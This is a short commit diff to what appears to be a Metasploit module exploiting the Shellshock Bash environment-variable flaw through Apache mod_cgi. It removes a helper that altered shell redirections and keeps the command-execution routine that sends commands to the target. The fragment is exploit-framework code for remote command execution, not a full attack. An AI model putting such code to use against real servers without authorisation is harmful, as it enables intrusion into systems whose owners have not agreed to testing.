Delete unnecessary code

Author: jvazquez-r7

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

@@ -94,10 +94,6 @@ def exploit
   def execute_command(cmd, opts)
     cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
 
-    if cmd =~ />>/ && first_redirection?
-      cmd.sub!('>>', '>')
-    end
-
     req(cmd)
   end
 
@@ -113,13 +109,4 @@ def req(cmd)
   def marker
     @marker ||= rand_text_alphanumeric(rand(42) + 1)
   end
-
-  def first_redirection?
-    unless @first_redirection && @first_redirection == false
-      @first_redirection = false
-      return true
-    end
-
-    false
-  end
 end